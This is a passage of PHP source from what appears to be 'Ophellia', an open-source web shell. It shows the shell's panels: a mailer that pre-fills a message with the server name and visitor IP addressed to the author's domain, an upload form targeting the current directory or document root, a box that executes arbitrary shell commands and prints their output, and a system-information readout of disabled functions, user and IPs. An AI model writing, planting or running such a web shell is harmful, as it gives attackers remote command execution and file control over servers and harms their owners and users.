echo '<section class="tool-section">
<h2>Mailer Tools</h2>';
if ($mailServerAccessible) {
echo '<form method="post" action="" class="mailer-form">
<div class="form-group">
<label for="from">From:</label>
<input type="text" id="from" name="from" value="Ophellia < ophellia@' . $_SERVER['SERVER_NAME'] . ' >">
</div>
<div class="form-group">
<label for="to">To:</label>
<input type="text" id="to" name="to" value="Ophellia < contact@rei.my.id >">
</div>
<div class="form-group">
<label for="subject">Subject:</label>
<input type="text" id="subject" name="subject" value="Fuck your mom!">
</div>
<div class="form-group">
<label for="message">Message:</label>
<textarea id="message" name="message" rows="15">my ip address is ' . $_SERVER['REMOTE_ADDR'] . '</textarea>
</div>
<div class="form-group">
<button type="submit" name="send_mail">Send Mail</button>
</div>
</form>';
if (isset($this->post['send_mail'])) {
$this->sendSimpleMail();
}
} else {
echo '<p class="error-message">Mail server is not accessible. Mailer tools are currently disabled.</p>';
}
echo '</section>';
}
private function showUploadTools(): void
{
echo "<section class='tool-section'>
<h2>Upload Tools</h2>
<form method='post' enctype='multipart/form-data'>
<div class='upload-options'>
<div class='upload-option'>
<input type='radio' id='current-dir' name='uploadtype' value='1' checked>
<p>[PATH]</p>
<label for='current-dir'>{$this->currentPath}</label>
</div>
<div class='upload-option'>
<input type='radio' id='doc-root' name='uploadtype' value='2'>
<p>[ROOT]</p>
<label for='doc-root'>{$_SERVER['DOCUMENT_ROOT']}</label>
</div>
</div>
<div class='file-input-wrapper'>
<input type='file' name='upload' onchange='this.form.querySelector('button[type=submit]').click()'>
</div>
<button type='submit' name='upload' style='display:none;'>Upload</button>
</form>
</section>";
if (isset($this->post['upload'])) {
$this->handleFileUpload();
}
}
private function showCommandExecutionTools(): void
{
echo '<section class="tool-section">
<h2>Execute Command</h2>
<form method="post" action="">
<div class="form-group">
<input type="text" id="command" name="execute" placeholder="uname -a" required>
</div>
<button type="submit">Execute</button>
<button type="button" onclick="cancelForm()">Cancel</button>
</form>
<script>
function cancelForm() {
window.location.href = "' . $this->selfFile . "?d=" . stringToHex($this->currentPath) . '";
}
</script>';
if (isset($this->post['execute']) && !empty($this->post['execute'])) {
echo '<pre>' . getFunctionalCmd($this->post['execute']) . '</pre>';
}
echo '</section>';
}
private function showSystemInfo(): void
{
$disableFunctions = ini_get('disable_functions') ?: 'NONE';
$safeMode = ini_get('safe_mode') ? 'ON' : 'OFF';
$freeSpace = function_exists('disk_free_space') ? formatFileSize(disk_free_space(".")) : 'N/A';
$infoItems = [
"System" => php_uname('a') . " " . ($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'),
"User" => function_exists('get_current_user') ? get_current_user() : 'N/A',
"Free Space" => $freeSpace,
"Server IP" => gethostbyname($_SERVER['HTTP_HOST'] ?? 'localhost'),
"Client IP" => $_SERVER['REMOTE_ADDR'] ?? 'N/A',
"Safe Mode" => $safeMode,
"PHP Version" => phpversion(),
"Disabled Functions" => $disableFunctions,
];
echo "<section class='tool-section'>";
echo "<h2>System Information</h2>";
echo "<div class='info-table'>";
foreach ($infoItems as $key => $value) {
echo "<div class='info-row'>";
echo "<div class='info-key'>" . htmlspecialchars($key) . "</div>";
echo "<div class='info-value'>" . htmlspecialchars($value) . "</div>";
echo "</div>";
}
echo "</div>";
echo "</section>";
}
private function showFooter(): void
{
echo '</main>
<footer>
<p><a href="//rei.my.id">@elliottophellia</a><br/>Copyright © 2022 - ' . date('Y') . ' <a href="//github.com/elliottophellia/ophellia">Ophellia</a>.<br/><a href="//github.com/elliottophellia/ophellia">Ophellia</a> are free and open source software distributed under the GNU General Public License.</p>
</footer>
<script>
document.addEventListener("DOMContentLoaded", function() {
const hamburger = document.querySelector(".hamburger");
const navMenu = document.querySelector(".nav-menu");
hamburger.addEventListener("click", function() {
navMenu.classList.toggle("show");
});
// Close the menu when clicking outside
document.addEventListener("click", function(event) {
if (!navMenu.contains(event.target) && !hamburger.contains(event.target)) {
navMenu.classList.remove("show");
}
});
});
</script>
</body>
</html>';
}
}